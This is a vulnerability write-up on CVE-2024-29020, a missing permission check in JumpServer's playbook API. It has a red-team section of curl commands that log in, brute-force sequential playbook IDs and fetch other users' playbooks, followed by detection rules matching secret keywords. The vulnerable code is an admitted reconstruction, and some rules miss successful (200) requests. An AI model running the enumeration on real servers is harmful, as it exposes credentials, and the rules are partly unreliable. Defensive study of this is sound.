CVE-2024-29020
Executive Summary
CVE-2024-29020 is a vulnerability in JumpServer, an open-source bastion host and operation and maintenance security audit system. An authenticated attacker can exploit this flaw to obtain sensitive information contained within playbook files if they can discover the playbook_id of another user. This breach of confidentiality can lead to information disclosure and the exposure of sensitive data, such as credentials, API keys, or internal network configurations embedded in playbooks. The vulnerability is fixed in JumpServer version 3.10.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.6 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – The attacker must have a valid, authenticated session on the JumpServer instance.
- User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the JumpServer application.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): None (N) – No data integrity is compromised.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for leaking sensitive credentials or infrastructure details from playbooks elevates the risk for organizations using JumpServer for privileged access management.
Deep Dive & Mechanics
The vulnerability resides in the API endpoint responsible for retrieving playbook details. JumpServer uses Ansible playbooks for automation tasks. Each playbook is assigned a unique playbook_id. The flaw is that the API does not properly enforce authorization checks to ensure that the requesting user owns or has permission to view the playbook associated with a given playbook_id.
Attack Flow:
- Authentication: The attacker must first authenticate to the JumpServer web interface or API.
- Enumeration: The attacker needs to discover a valid
playbook_idbelonging to another user. This could be achieved through:- IDOR (Insecure Direct Object Reference): Guessing or brute-forcing sequential or predictable
playbook_idvalues. - Information Leakage: Observing the
playbook_idin other API responses, logs, or error messages. - Shared Context: If the attacker and victim are in the same organization or project, the
playbook_idmight be exposed in shared resources.
- IDOR (Insecure Direct Object Reference): Guessing or brute-forcing sequential or predictable
- Exploitation: The attacker sends a GET request to the vulnerable API endpoint (e.g.,
/api/v1/ops/playbooks/{playbook_id}/) with the discoveredplaybook_id. - Data Exfiltration: The server returns the full playbook content, including any sensitive variables, credentials, or configuration data embedded within it.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-3.10.6): The vulnerable code likely lacked a permission check on the playbook retrieval endpoint. A simplified example of the vulnerable logic:
# Vulnerable: No ownership check
@api_view(['GET'])
def get_playbook(request, playbook_id):
try:
playbook = Playbook.objects.get(id=playbook_id)
serializer = PlaybookSerializer(playbook)
return Response(serializer.data)
except Playbook.DoesNotExist:
return Response(status=404)
Patched Code (3.10.6+): The patched version introduces an authorization check to verify that the requesting user has the necessary permissions to view the playbook.
# Patched: Ownership/permission check added
@api_view(['GET'])
def get_playbook(request, playbook_id):
try:
playbook = Playbook.objects.get(id=playbook_id)
# Check if the user has permission to view this playbook
if not request.user.has_perm('ops.view_playbook', playbook):
return Response({'error': 'Permission denied'}, status=403)
serializer = PlaybookSerializer(playbook)
return Response(serializer.data)
except Playbook.DoesNotExist:
return Response(status=404)
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid JumpServer account with at least "User" role.
- Knowledge of a target
playbook_id.
Exploitation Steps:
Authenticate and obtain a session token:
curl -X POST https://jumpserver.example.com/api/v1/users/auth/ \ -H "Content-Type: application/json" \ -d '{"username": "attacker", "password": "password123"}'Save the token from the response (e.g.,
TOKEN).Enumerate playbook IDs (if not known):
- Brute-force sequential IDs:
for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $TOKEN" \ "https://jumpserver.example.com/api/v1/ops/playbooks/$i/" done - Look for 200 responses.
- Brute-force sequential IDs:
Retrieve the playbook content:
curl -H "Authorization: Bearer $TOKEN" \ "https://jumpserver.example.com/api/v1/ops/playbooks/42/"The response will contain the full playbook YAML/JSON, including any sensitive data.
Blue Team (Detection & Hardening)
Detection:
- Monitor API access logs for repeated 403 errors on the playbook endpoint, which may indicate enumeration attempts.
- Alert on access to playbook IDs that are not associated with the requesting user.
- Use the detection rules provided in the next section.
Hardening:
- Immediately upgrade to JumpServer v3.10.6 or later.
- Implement network segmentation to restrict access to the JumpServer API.
- Enforce strong authentication (e.g., MFA) for all JumpServer users.
- Regularly audit playbook content for hardcoded secrets and use a secrets management solution (e.g., HashiCorp Vault, Ansible Vault).
- Monitor for anomalous API calls to the playbook endpoint.
Indicators of Compromise (IOCs)
- Network IOCs:
- Unusual HTTP GET requests to
/api/v1/ops/playbooks/{id}/with sequential or brute-forced IDs. - High volume of 403 responses from the playbook endpoint.
- Unusual HTTP GET requests to
- Log IOCs:
- Log entries showing access to playbook IDs not owned by the authenticated user.
- Repeated failed attempts to access playbook resources.
- File IOCs:
- Unexpected presence of playbook files (
.yaml,.yml) in user download directories or exfiltration points.
- Unexpected presence of playbook files (
Detection Engineering
YARA Rule
rule CVE_2024_29020_JumpServer_Playbook_Exfil {
meta:
description = "Detects potential exploitation of CVE-2024-29020 by identifying playbook file content in network traffic or logs"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-29020"
strings:
$playbook_key = /"playbook_id":\s*"[a-f0-9-]+"/ nocase
$sensitive_var = /(password|secret|api_key|token):\s*["']?[^"'\s]+["']?/ nocase
condition:
any of ($playbook_key) and any of ($sensitive_var)
}
Sigma Rule
title: JumpServer Playbook Unauthorized Access Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f4a5b6c
status: experimental
description: Detects attempts to access JumpServer playbook resources without proper authorization (CVE-2024-29020)
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29020
logsource:
category: webserver
product: nginx
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/api/v1/ops/playbooks/'
sc-status: 403
condition: selection
falsepositives:
- Legitimate permission errors from authorized users
level: medium
tags:
- attack.t1552
- cve.2024.29020
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-29020 JumpServer Playbook Unauthorized Access Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/api/v1/ops/playbooks/"; http_uri;
pcre:"/\/api\/v1\/ops\/playbooks\/[0-9]+\//";
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2024-29020;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update JumpServer to version 3.10.6 or later. This is the only complete fix.
- Restrict Access: If immediate upgrade is not possible, restrict network access to the JumpServer API to trusted IPs only.
- Audit Playbooks: Review all existing playbooks for hardcoded secrets and remove them. Use Ansible Vault or a secrets manager.
Long-Term Mitigations:
- Implement the principle of least privilege for JumpServer users.
- Enable detailed audit logging and monitor for suspicious activity.
- Regularly perform security assessments and penetration testing on the JumpServer instance.
- Subscribe to JumpServer security advisories for timely updates.
Valters IT